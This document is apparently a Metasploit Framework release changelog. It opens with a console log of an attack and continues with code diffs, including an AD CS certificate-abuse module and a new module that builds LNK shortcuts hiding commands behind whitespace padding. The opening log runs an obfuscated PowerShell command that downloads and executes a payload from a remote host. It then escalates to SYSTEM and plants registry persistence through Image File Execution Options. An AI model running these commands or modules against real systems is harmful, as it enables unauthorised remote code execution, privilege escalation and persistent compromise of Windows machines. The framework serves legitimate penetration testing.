powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABkAG4AbAA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ADsAaQBmACgAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUAByAG8AeAB5AF0AOgA6AEcAZQB0AEQAZQBmAGEAdQBsAHQAUAByAG8AeAB5ACgAKQAuAGEAZABkAHIAZQBzAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApAHsAJABkAG4AbAAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAkAGQAbgBsAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgAyADIAOAA6ADgAMAA4ADUALwB3ADIALwBhAGYAbwBvAFkATwByAGMAYgA5AHEAYgBwAE8ATQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgAyADIAOAA6ADgAMAA4ADUALwB3ADIAJwApACkAOwA=
msf exploit(multi/script/web_delivery) >
[*] 2.2.2.2 web_delivery - Delivering AMSI Bypass (1386 bytes)
[*] 2.2.2.2 web_delivery - Powershell command length: 3727
[*] 2.2.2.2 web_delivery - Delivering Payload (3727 bytes)
[*] Sending stage (203846 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4449 -> 2.2.2.2:52295) at 2025-09-23 17:10:43 -0400
msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN10PROLICENSE
OS : Windows 10 22H2+ (10.0 Build 19045).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > background
[*] Backgrounding session 1...
```
Persistence
```
msf exploit(multi/script/web_delivery) > use exploit/windows/persistence/image_exec_options
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(windows/persistence/image_exec_options) > set session 1
session => 1
msf exploit(windows/persistence/image_exec_options) > set IMAGE_FILE calc.exe
IMAGE_FILE => calc.exe
msf exploit(windows/persistence/image_exec_options) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/persistence/image_exec_options) > rexploit
[*] Reloading module...
[*] Exploit running as background job 4.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4444
msf exploit(windows/persistence/image_exec_options) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Likely exploitable
[*] Attempting Persistence on WIN10PROLICENSE via session ID: 1
[*] Payload pathname = C:\Users\windows\AppData\Local\Temp\yoRmhrs.exe
[*] Writing GlobalFlag to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe
[*] Writing ReportingMode to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe
[*] Writing MonitorProcess to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe
[*] Payload (7168 bytes) uploaded on WIN10PROLICENSE to C:\Users\windows\AppData\Local\Temp\yoRmhrs.exe
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc
```
Open `calc.exe` on the target machine
```
[*] Sending stage (177734 bytes) to 2.2.2.2
[*] Meterpreter session 3 opened (1.1.1.1:4444 -> 2.2.2.2:52327) at 2025-09-23 17:18:33 -0400
msf exploit(windows/persistence/image_exec_options) > sessions -i 3
[*] Starting interaction with 3...
meterpreter > run /root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc
[*] Processing /root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc for ERB directives.
resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc)> rm C:\Users\windows\AppData\Local\Temp\yoRmhrs.exe
[-] stdapi_fs_delete_file: Operation failed: The system cannot find the file specified.
resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc)> execute -f cmd.exe -a "/c reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v GlobalFlag /f" -H
Process 7092 created.
resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc)> execute -f cmd.exe -a "/c reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe" /v ReportingMode /f" -H
Process 7568 created.
resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc)> execute -f cmd.exe -a "/c reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe" /v MonitorProcess /f" -H
Process 2604 created.
meterpreter >
```
@@ -313,7 +313,7 @@ module Metasploit::Framework
end
each_user_pass_from_userpass_file do |user, pass|
yield Metasploit::Framework::Credential.new(public: user, private: pass, realm: realm)
yield Metasploit::Framework::Credential.new(public: user, private: pass, realm: realm, private_type: private_type(pass))
end
additional_privates.each do |add_private|
@@ -374,7 +374,7 @@ module Metasploit::Framework
end
each_user_pass_from_userpass_file do |user, pass|
yield Metasploit::Framework::Credential.new(public: user, private: pass, realm: realm)
yield Metasploit::Framework::Credential.new(public: user, private: pass, realm: realm, private_type: private_type(pass))
end
additional_publics.each do |add_public|
@@ -78,7 +78,30 @@ module Metasploit
case error_code
when Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_KEY_EXPIRED, Rex::Proto::Kerberos::Model::Error::ErrorCodes::KRB_AP_ERR_SKEW
# Correct password, but either password needs resetting or clock is skewed
Metasploit::Model::Login::Status::SUCCESSFUL
begin
pa_data_entry = krb_err.res.e_data_as_pa_data.find do |pa_data|
pa_data.type == Rex::Proto::Kerberos::Model::PreAuthType::PA_PW_SALT
end
if pa_data_entry
pw_salt = pa_data_entry.decoded_value
if pw_salt.nt_status
case pw_salt.nt_status.value
when ::WindowsError::NTStatus::STATUS_PASSWORD_EXPIRED
# Windows Server 2019 Build 17763 (possibly others) replies with STATUS_PASSWORD_EXPIRED even when the password is incorrect
Metasploit::Model::Login::Status::INCORRECT
else
Metasploit::Model::Login::Status::SUCCESSFUL
end
else
Metasploit::Model::Login::Status::SUCCESSFUL
end
else
Metasploit::Model::Login::Status::SUCCESSFUL
end
rescue Rex::Proto::Kerberos::Model::Error::KerberosDecodingError
Metasploit::Model::Login::Status::SUCCESSFUL
end
when Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_C_PRINCIPAL_UNKNOWN
# The username doesn't exist
Metasploit::Model::Login::Status::INVALID_PUBLIC_PART
@@ -11,6 +11,25 @@ module Metasploit
class Postgres
include Metasploit::Framework::LoginScanner::Base
# @!attribute ssl
# @return [Boolean] Whether the connection should use SSL
attr_accessor :ssl
# @!attribute ssl_version
# @return [String] The version of SSL to implement
attr_accessor :ssl_version
# @!attribute ssl_verify_mode
# @return [String] the SSL certification verification mechanism
attr_accessor :ssl_verify_mode
# @!attribute ssl_cipher
# @return [String] The SSL cipher to use for the context
attr_accessor :ssl_cipher
# @!attribute max_send_size
# @return [Integer] The max size of the data to encapsulate in a single packet
attr_accessor :max_send_size
# @!attribute send_delay
# @return [Integer] The delay between sending packets
attr_accessor :send_delay
# @returns [Boolean] If a login is successful and this attribute is true - a Msf::Db::PostgresPR::Connection instance is used as proof,
# and the socket is not immediately closed
attr_accessor :use_client_as_proof
@@ -45,7 +64,20 @@ module Metasploit
pg_conn = nil
begin
pg_conn = Msf::Db::PostgresPR::Connection.new(db_name,credential.public,credential.private,uri,proxies)
ssl_opts = {}
ssl_opts[:ssl_version] = ssl_version if ssl_version
ssl_opts[:ssl_verify_mode] = ssl_verify_mode if ssl_verify_mode
ssl_opts[:ssl_cipher] = ssl_cipher if ssl_cipher
pg_conn = Msf::Db::PostgresPR::Connection.new(
db_name,
credential.public,
credential.private,
uri,
proxies,
ssl,
ssl_opts
)
rescue ::RuntimeError => e
case e.to_s.split("\t")[1]
when "C3D000"
@@ -90,13 +122,15 @@ module Metasploit
::Metasploit::Framework::LoginScanner::Result.new(result_options)
end
end
def set_sane_defaults
self.connection_timeout ||= 30
self.port ||= DEFAULT_PORT
end
def set_sane_defaults
self.connection_timeout ||= 30
self.port ||= DEFAULT_PORT
self.max_send_size ||= 0
self.send_delay ||= 0
end
end
end
end
end
+1 -1
View File
@@ -32,7 +32,7 @@ module Metasploit
end
end
VERSION = "6.4.87"
VERSION = "6.4.91"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
+4 -2
View File
@@ -184,7 +184,9 @@ class Meterpreter < Rex::Post::Meterpreter::Client
# BEGIN: This should be removed on MSF 7
# Unhook the process prior to loading stdapi to reduce logging/inspection by any AV/PSP (by default unhook is first, see meterpreter_options/windows.rb)
extensions.push('unhook') if datastore['AutoUnhookProcess'] && session.platform == 'windows'
# The unhook extension is broken. reference: https://github.com/rapid7/metasploit-framework/pull/20514
#extensions.push('unhook') if datastore['AutoUnhookProcess'] && session.platform == 'windows'
extensions.push('stdapi') if datastore['AutoLoadStdapi']
extensions.push('priv') if datastore['AutoLoadStdapi'] && session.platform == 'windows'
extensions.push('android') if session.platform == 'android'
@@ -197,7 +199,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client
extensions.each do |extension|
begin
console.run_single("load #{extension}")
console.run_single('unhook_pe') if extension == 'unhook'
# console.run_single('unhook_pe') if extension == 'unhook'
session.load_session_info if extension == 'stdapi' && datastore['AutoSystemInfo']
rescue => e
print_warning("Failed loading extension #{extension}")
@@ -16,12 +16,8 @@ module Msf
[
OptString.new(
'AutoLoadExtensions',
[true, "Automatically load extensions on bootstrap, comma separated.", 'unhook,priv,stdapi']
),
OptBool.new(
'AutoUnhookProcess',
[true, "Automatically load the unhook extension and unhook the process", false]
),
[true, "Automatically load extensions on bootstrap, comma separated.", 'priv,stdapi']
)
],
self.class
)
+1
View File
@@ -59,6 +59,7 @@ module Auxiliary::AuthBrute
# @return [Metasploit::Framework::CredentialCollection] the built CredentialCollection
def build_credential_collection(opts)
cred_collection = Metasploit::Framework::CredentialCollection.new({
anonymous_login: datastore['ANONYMOUS_LOGIN'],
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
user_file: datastore['USER_FILE'],
+2 -1
View File
@@ -144,7 +144,8 @@ module Msf::DBManager::Note
ntype = opts.delete(:type) || opts.delete(:ntype) || (raise RuntimeError, "A note :type or :ntype is required")
unless opts[:data].is_a?(Hash)
has_valid_note_datatype = opts[:data].is_a?(Hash) || opts[:data].nil?
unless has_valid_note_datatype
stack_trace = caller.map { |line| "[-] #{line}" }.join("\n")
message = "\n[-] [DEPRECATION] Using #{__method__} with a non-hash data value is deprecated, please raise a Github issue with this output.\n[-] Call stack:\n#{stack_trace}"
warn(message)
@@ -0,0 +1,13 @@
module Msf::Exploit::Remote::HTTP::Sitecore::Error
class ClientError < ::StandardError
def initialize(message: nil)
super(message || 'SitecoreXP Error')
end
end
class UnexpectedReplySitecore < ClientError
def initialzie(message = 'Received unexpected reply from Sitecore')
super(message: message)
end
end
end
@@ -0,0 +1,124 @@
module Msf
class Exploit
class Remote
module HTTP
module SitecoreXp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Sitecore::Error
def initialize(info = {})
super
register_options([OptString.new('IDENTITY_VHOST', [true, 'Hostname of Sitecore identity server']) ])
end
#
# Identifies against identity server. The Sitecore XP uses separate vhost to authenticate and gain session cookies.
#
def login_identitysrv(username, password)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'Account', 'Login'),
'method' => 'GET',
'vhost' => datastore['IDENTITY_VHOST'],
'keep_cookies' => 'true'
})
raise UnexpectedReplySitecore unless res&.code == 200
hidden_inputs = res.get_hidden_inputs
verification_token = hidden_inputs.dig(0, '__RequestVerificationToken')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'Account', 'Login'),
'vhost' => datastore['IDENTITY_VHOST'],
'vars_post' => {
'Username' => username,
'Password' => password,
'__RequestVerificationToken' => verification_token,
'ReturnUrl' => '',
'AccountPrefix' => 'sitecore\\',
'button' => 'login',
'RememberLogin' => 'false'
},
'keep_cookies' => true
})
res&.code == 302 && !res.get_cookies.blank?
end
def get_identity_cookies
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('identity', 'externallogin'),
'vars_get' => {
'authenticationType' => 'SitecoreIdentityServer',
'ReturnUrl' => '',
'sc_site' => 'admin'
},
'keep_cookies' => true
})
return false unless res&.code == 302
location_target = res.headers.fetch('Location', nil)
return false unless location_target
location_target =~ %r{://([a-zA-Z0-9._]+)/}
identity_vhost = Regexp.last_match(1)
proto = datastore['ssl'] ? 'https' : 'http'
identity_uri = location_target.sub("#{proto}://#{identity_vhost}", '')
res = send_request_cgi!({
'method' => 'GET',
'uri' => identity_uri,
'vhost' => identity_vhost,
'keep_cookies' => true
})
return false unless res&.code == 200
hidden_inputs = res.get_hidden_inputs
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('identity', 'signin'),
'vars_post' => hidden_inputs[0],
'keep_cookies' => true
})
return false unless res&.code == 302
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('identity', 'externallogincallback'),
'vars_get' => {
'ReturnUrl' => '',
'sc_site' => 'admin',
'authenticationSource' => 'Default'
},
'keep_cookies' => true
})
res&.code == 302 && res.headers.fetch('Location', nil)&.include?('sitecore/admin')
end
def get_version
res = send_request_cgi({
'uri' => normalize_uri('sitecore', 'shell', 'sitecore.version.xml'),
'method' => 'GET'
})
return nil unless res&.code == 200 && res.body.include?('<version>')
xml_document = res.get_xml_document
major_version = xml_document.at('information//version//major').text
minor_version = xml_document.at('information//version//minor').text
build_version = xml_document.at('information//version//build').text
return Rex::Version.new("#{major_version}.#{minor_version}.#{build_version}")
end
end
end
end
end
end
+2
View File
@@ -12,7 +12,9 @@ module Exploit::Remote::Postgres
require 'postgres_msf'
require 'base64'
require 'metasploit/framework/tcp/client'
include Msf::Db::PostgresPR
include Exploit::Remote::Tcp
# @!attribute [rw] postgres_conn
# @return [::Msf::Db::PostgresPR::Connection]
+7 -2
View File
@@ -56,9 +56,14 @@ module Msf::Module::Failure
info[:target_name] = self.target.name if self.respond_to?(:target)
if self.datastore['RHOST'] && (self.options['RHOST'] || self.options['RHOSTS'])
info[:host] = self.datastore['RHOST']
# Only include RHOST if it's a single valid host, not a multi-value string or file path
rhost = self.datastore['RHOST'].to_s
# Check if RHOST is a valid IP address to avoid ActiveRecord issues on validation
if Rex::Socket.is_ip_addr?(rhost)
info[:host] = rhost
end
end
if self.datastore['RPORT'] and self.options['RPORT']
info[:port] = self.datastore['RPORT']
if self.class.ancestors.include?(Msf::Exploit::Remote::Tcp)
+1 -1
View File
@@ -56,7 +56,7 @@ module Msf::Modules::Metadata::Store
retries +=1
# Try to handle the scenario where the file is corrupted
if (retries < 2 && ::File.exist?(@path_to_user_metadata))
if retries < 2 && @path_to_user_metadata && ::File.exist?(@path_to_user_metadata)
elog('Possible corrupt user metadata store, attempting restore')
FileUtils.remove(@path_to_user_metadata)
retry
+2 -1
View File
@@ -353,7 +353,8 @@ module Msf
return out
end
ps_output = get_ps_output(cmd_out, eof, datastore['Powershell::Post::timeout'])
ps_output = ps_output[/#{start}(.*?)#{stop}/m, 1].strip #https://stackoverflow.com/a/9661504
ps_output = ps_output[/#{start}(.*?)#{stop}/m, 1] #https://stackoverflow.com/a/9661504
ps_output = ps_output.strip unless ps_output.nil?
# Kill off the resulting processes if needed
if ps_cleanup
vprint_good "Cleaning up #{running_pids.join(', ')}"
+17 -6
View File
@@ -17,7 +17,7 @@ module Msf
"View all productivity tips with the #{highlight('tips')} command",
"Enable verbose logging with #{highlight('set VERBOSE true')}",
"When in a module, use #{highlight('back')} to go back to the top level prompt",
"Tired of setting RHOSTS for modules? Try globally setting it with #{highlight('setg RHOSTS x.x.x.x')}",
"Tired of setting #{highlight('RHOSTS')} for modules? Try globally setting it with #{highlight('setg RHOSTS x.x.x.x')}",
"Enable HTTP request and response logging with #{highlight('set HttpTrace true')}",
"You can upgrade a shell to a Meterpreter session on many platforms using #{highlight('sessions -u <session_id>')}",
"Open an interactive Ruby terminal with #{highlight('irb')}",
@@ -35,12 +35,23 @@ module Msf
"Network adapter names can be used for IP options #{highlight('set LHOST eth0')}",
"Use #{highlight('sessions -1')} to interact with the last opened session",
"View missing module options with #{highlight('show missing')}",
"Start commands with a space to avoid saving them to history",
"You can pivot connections over sessions started with the ssh_login modules",
'Start commands with a space to avoid saving them to history',
'You can pivot connections over sessions started with the ssh_login modules',
"Use the #{highlight('analyze')} command to suggest runnable modules for hosts",
"Set the current module's RHOSTS with database values using #{highlight('hosts -R')} or #{highlight('services -R')}",
"Use the 'capture' plugin to start multiple authentication-capturing and poisoning services",
"The #{highlight('use')} command supports fuzzy searching to try and select the intended module, e.g. #{highlight('use kerberos/get_ticket')} or #{highlight('use kerberos forge silver ticket')}"
"Set the current module's #{highlight('RHOSTS')} with database values using #{highlight('hosts -R')} or #{highlight('services -R')}",
"Use the #{highlight('capture')} plugin to start multiple authentication-capturing and poisoning services",
"The #{highlight('use')} command supports fuzzy searching to try and select the intended module, e.g., #{highlight('use kerberos/get_ticket')} or #{highlight('use kerberos forge silver ticket')}",
"Organize your work by creating workspaces with #{highlight('workspace -a <name>')}",
"Store discovered credentials for later use with #{highlight('creds')}",
"Keep track of findings and observations with #{highlight('notes')}",
"Add routes to pivot through a compromised host using #{highlight('route add <subnet> <session_id>')}",
"Run modules in the background with #{highlight('run -j')} so you can keep working",
"Stop all background jobs quickly with #{highlight('jobs -K')}",
"Export your database results with #{highlight('db_export -f xml <file>')}",
"Execute a command across all sessions with #{highlight('sessions -C <command>')}",
"Use #{highlight('post/multi/manage/autoroute')} to automatically add pivot routes",
"Use #{highlight('check')} before #{highlight('run')} to confirm if a target is vulnerable",
"Bind your reverse shell to a tunnel with #{highlight('set ReverseListenerBindAddress <tunnel_address>')} and #{highlight('set ReverseListenerBindPort <tunnel_port>')} (e.g., ngrok)"
].freeze
private_constant :COMMON_TIPS
+33 -10
View File
@@ -56,12 +56,12 @@ class Connection
end
end
def initialize(database, user, password=nil, uri = nil, proxies = nil)
def initialize(database, user, password=nil, uri = nil, proxies = nil, ssl = nil, ssl_opts = {})
uri ||= DEFAULT_URI
@transaction_status = nil
@params = { 'username' => user, 'database' => database }
establish_connection(uri, proxies)
establish_connection(uri, proxies, ssl, ssl_opts)
# Check if the password supplied is a Postgres-style md5 hash
md5_hash_match = password.match(/^md5([a-f0-9]{32})$/)
@@ -231,7 +231,11 @@ class Connection
def close
raise "connection already closed" if @conn.nil?
@conn.shutdown
if @conn.respond_to?(:shutdown)
@conn.shutdown
elsif @conn.respond_to?(:close)
@conn.close
end
@conn = nil
end
@@ -343,16 +347,35 @@ class Connection
# tcp://localhost:5432
# unix:/tmp/.s.PGSQL.5432
def establish_connection(uri, proxies)
def establish_connection(uri, proxies, ssl = nil, ssl_opts = {})
u = URI.parse(uri)
case u.scheme
when 'tcp'
@conn = Rex::Socket.create(
'PeerHost' => (u.host || DEFAULT_HOST).gsub(/[\[\]]/, ''), # Strip any brackets off (IPv6)
'PeerPort' => (u.port || DEFAULT_PORT),
'proto' => 'tcp',
'Proxies' => proxies
)
params = Rex::Socket::Parameters.from_hash(
'PeerHost' => (u.host || DEFAULT_HOST).gsub(/\[|\]/, ''),
'PeerPort' => (u.port || DEFAULT_PORT),
'proto' => 'tcp',
'Proxies' => proxies,
'SSLVersion' => ssl_opts[:ssl_version],
'SSLVerifyMode' => ssl_opts[:ssl_verify_mode],
'SSLCipher' => ssl_opts[:ssl_cipher]
)
@conn = Rex::Socket.create_param(params)
if ssl
ssl_request_message = SSLRequest.new(80877103)
@conn.write(ssl_request_message.dump)
response = @conn.read(1)
if response == 'S'
@conn.extend(Rex::Socket::SslTcp)
@conn.initsock_with_ssl_version(params, (params.ssl_version || Rex::Socket::Ssl::DEFAULT_SSL_VERSION))
elsif response == 'N'
# Server does not support SSL
raise "SSL connection requested but server at #{u.host}:#{u.port} does not support SSL"
else
raise "Unexpected response to SSLRequest: #{response.inspect}"
end
end
when 'unix'
@conn = UNIXSocket.new(u.path)
else
@@ -22,9 +22,10 @@ class MetasploitModule < Msf::Auxiliary
This module exploits Active Directory Certificate Services (AD CS) template misconfigurations, specifically
ESC9, ESC10, and ESC16, by updating an LDAP object and requesting a certificate on behalf of a target user.
The module leverages the auxiliary/admin/ldap/ldap_object_attribute module to update the LDAP object and the
admin/ldap/shadow_credentials module to add shadow credentials for the target user. It then uses the
admin/kerberos/get_ticket module to retrieve the NTLM hash of the target user and requests a certificate via
MS-ICPR. The resulting certificate can be used for various operations, such as authentication.
admin/ldap/shadow_credentials module to add shadow credentials for the target user if the target password is
not provided. It then uses the admin/kerberos/get_ticket module to retrieve the NTLM hash of the target user
and requests a certificate via MS-ICPR. The resulting certificate can be used for various operations, such as
authentication.
The module ensures that any changes made by the ldap_object_attribute or shadow_credentials module are
reverted after execution to maintain system integrity.
@@ -64,7 +65,8 @@ class MetasploitModule < Msf::Auxiliary
OptString.new('LDAPPassword', [true, 'The password to authenticate with']),
OptEnum.new('UPDATE_LDAP_OBJECT', [ true, 'Either userPrincipalName or dNSHostName, Updates the necessary object of a specific user before requesting the cert.', 'userPrincipalName', %w[userPrincipalName dNSHostName] ]),
OptString.new('UPDATE_LDAP_OBJECT_VALUE', [ true, 'The account name you wish to impersonate', 'Administrator']),
OptString.new('TARGET_USERNAME', [true, 'The username of the target LDAP object (the victim account).'], aliases: ['SMBUser'])
OptString.new('TARGET_USERNAME', [true, 'The username of the target LDAP object (the victim account).'], aliases: ['SMBUser']),
OptString.new('TARGET_PASSWORD', [false, 'The password of the target LDAP object (the victim account). If left blank, Shadow Credentials will be used to authenticate as the TARGET_USERNAME'], aliases: ['SMBPass'])
])
register_advanced_options(
@@ -200,18 +202,29 @@ class MetasploitModule < Msf::Auxiliary
@original_value = call_ldap_object_module('UPDATE', new_value)
fail_with(Failure::BadConfig, "The #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} is already set to #{datastore['UPDATE_LDAP_OBJECT_VALUE']}. After the module completes running it will revert the attribute to it's original value which will cause the certificate produced to throw a KDC_ERR_CLIENT_NAME_MISMATCH when attempting to use it. Try setting the #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} to anything but #{datastore['UPDATE_LDAP_OBJECT_VALUE']} using the ldap_object_attribute module and then rerun this module.") if @original_value.present? && @original_value.casecmp?(datastore['UPDATE_LDAP_OBJECT_VALUE'])
# Call the shadow credentials module to add the device and get the cert path
print_status("Adding shadow credentials for #{datastore['TARGET_USERNAME']}")
@device_id, cert_path = call_shadow_credentials_module('add')
hash = automate_get_hash(cert_path, datastore['TARGET_USERNAME'], datastore['LDAPDomain'], datastore['RHOSTS'])
smbpass = ''
if datastore['TARGET_PASSWORD'].present?
smbpass = datastore['TARGET_PASSWORD']
elsif datastore['LDAPUsername'] == datastore['TARGET_USERNAME']
smbpass = datastore['LDAPPassword']
else
# Call the shadow credentials module to add the device and get the cert path
print_status("Adding shadow credentials for #{datastore['TARGET_USERNAME']}")
@device_id, cert_path = call_shadow_credentials_module('add')
smbpass = automate_get_hash(cert_path, datastore['TARGET_USERNAME'], datastore['LDAPDomain'], datastore['RHOSTS'])
end
with_ipc_tree do |opts|
datastore['SMBUser'] = datastore['TARGET_USERNAME']
datastore['SMBPass'] = hash
datastore['SMBPass'] = smbpass
request_certificate(opts)
end
ensure
print_status('Removing shadow credential')
call_shadow_credentials_module('remove', device_id: @device_id)
unless @device_id.nil?
print_status('Removing shadow credential')
call_shadow_credentials_module('remove', device_id: @device_id)
end
print_status('Reverting ldap object')
revert_ldap_object
end
@@ -34,7 +34,8 @@ class MetasploitModule < Msf::Auxiliary
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'http://sourceforge.net/projects/smbexec' ],
[ 'URL', 'https://www.optiv.com/blog/owning-computers-without-shell-access' ]
[ 'URL', 'https://www.optiv.com/blog/owning-computers-without-shell-access' ],
[ 'ATT&CK', Mitre::Attack::Technique::T1003_003_NTDS ]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
@@ -0,0 +1,155 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'faker'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Shortcut (LNK) Padding',
'Description' => %q{
This module generates Windows LNK (shortcut) file that can execute
arbitrary commands. The LNK file uses environment variables and execute
its arguments from COMMAND_LINE_ARGUMENTS with extra juicy whitespace
character padding bytes and concatenates the actual payload.
},
'License' => MSF_LICENSE,
'Author' => [ 'Nafiez' ],
'References' => [
['ZDI', '25-148'],
['URL', 'https://zeifan.my/Windows-LNK/'],
['URL', 'https://gist.github.com/nafiez/1236cc4c808a489e60e2927e0407c8d1'],
['URL', 'https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html']
],
'Platform' => 'win',
'Targets' => [ [ 'Windows', {} ] ],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [ARTIFACTS_ON_DISK]
},
'DisclosureDate' => '2025-07-19'
)
)
register_options([
OptString.new('COMMAND', [ true, 'Command to execute', 'C:\\Windows\\System32\\calc.exe' ]),
OptString.new('DESCRIPTION', [ false, 'LNK file description', nil ]),
OptString.new('ICON_PATH', [ false, 'Icon path for the LNK file', nil]),
OptInt.new('BUFFER_SIZE', [ true, 'Buffer size before payload', 900 ])
])
end
def run
datastore['FILENAME']
command = datastore['COMMAND']
description = datastore['DESCRIPTION']
icon_path = datastore['ICON_PATH']
description = "#{Faker::Lorem.sentence(word_count: 3)}Shortcut" if description.blank?
icon_path = "%SystemRoot%\\System32\\#{Faker::File.file_name(ext: 'icon')}%SystemRoot%\\System32\\shell32.dll" if icon_path.blank?
buffer_size = datastore['BUFFER_SIZE']
lnk_data = generate_lnk_file(command, description, icon_path, buffer_size)
filename = file_create(lnk_data)
print_good("successfully created #{filename}")
print_status("command line buffer size: #{buffer_size} bytes")
print_status("target command: #{command}")
end
private
def generate_lnk_file(command, description, icon_path, buffer_size)
data = ''.force_encoding('ASCII-8BIT')
data << create_shell_link_header
data << create_string_data(description)
cmd_buffer = create_command_buffer(command, buffer_size)
data << create_string_data(cmd_buffer)
data << create_string_data(icon_path)
data << create_environment_block
data
end
def create_shell_link_header
header = ''.force_encoding('ASCII-8BIT')
header << [0x0000004C].pack('V')
header << [0x00021401].pack('V')
header << [0x0000].pack('v')
header << [0x0000].pack('v')
header << [0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46].pack('C8')
link_flags = 0x00000004 | 0x00000020 | 0x00000040 | 0x00000080 | 0x00000200 | 0x02000000
header << [link_flags].pack('V')
header << [0x00000000].pack('V')
header << [0x00000000, 0x00000000].pack('VV')
header << [0x00000000, 0x00000000].pack('VV')
header << [0x00000000, 0x00000000].pack('VV')
header << [0].pack('V')
header << [0].pack('V')
header << [0x00000007].pack('V')
header << [0].pack('v')
header << [0].pack('v')
header << [0].pack('V')
header << [0].pack('V')
header
end
def create_string_data(str)
data = ''.force_encoding('ASCII-8BIT')
data << [str.length].pack('v')
unicode_str = str.encode('UTF-16LE').force_encoding('ASCII-8BIT')
data << unicode_str
data
end
def create_command_buffer(command, buffer_size)
cmd_command = "/c #{command}"
cmd_len = cmd_command.length
fill_bytes = buffer_size - cmd_len
buffer = ' ' * fill_bytes + cmd_command
buffer << "\x00"
buffer
end
def create_environment_block
data = ''.force_encoding('ASCII-8BIT')
block_size = 0x00000314
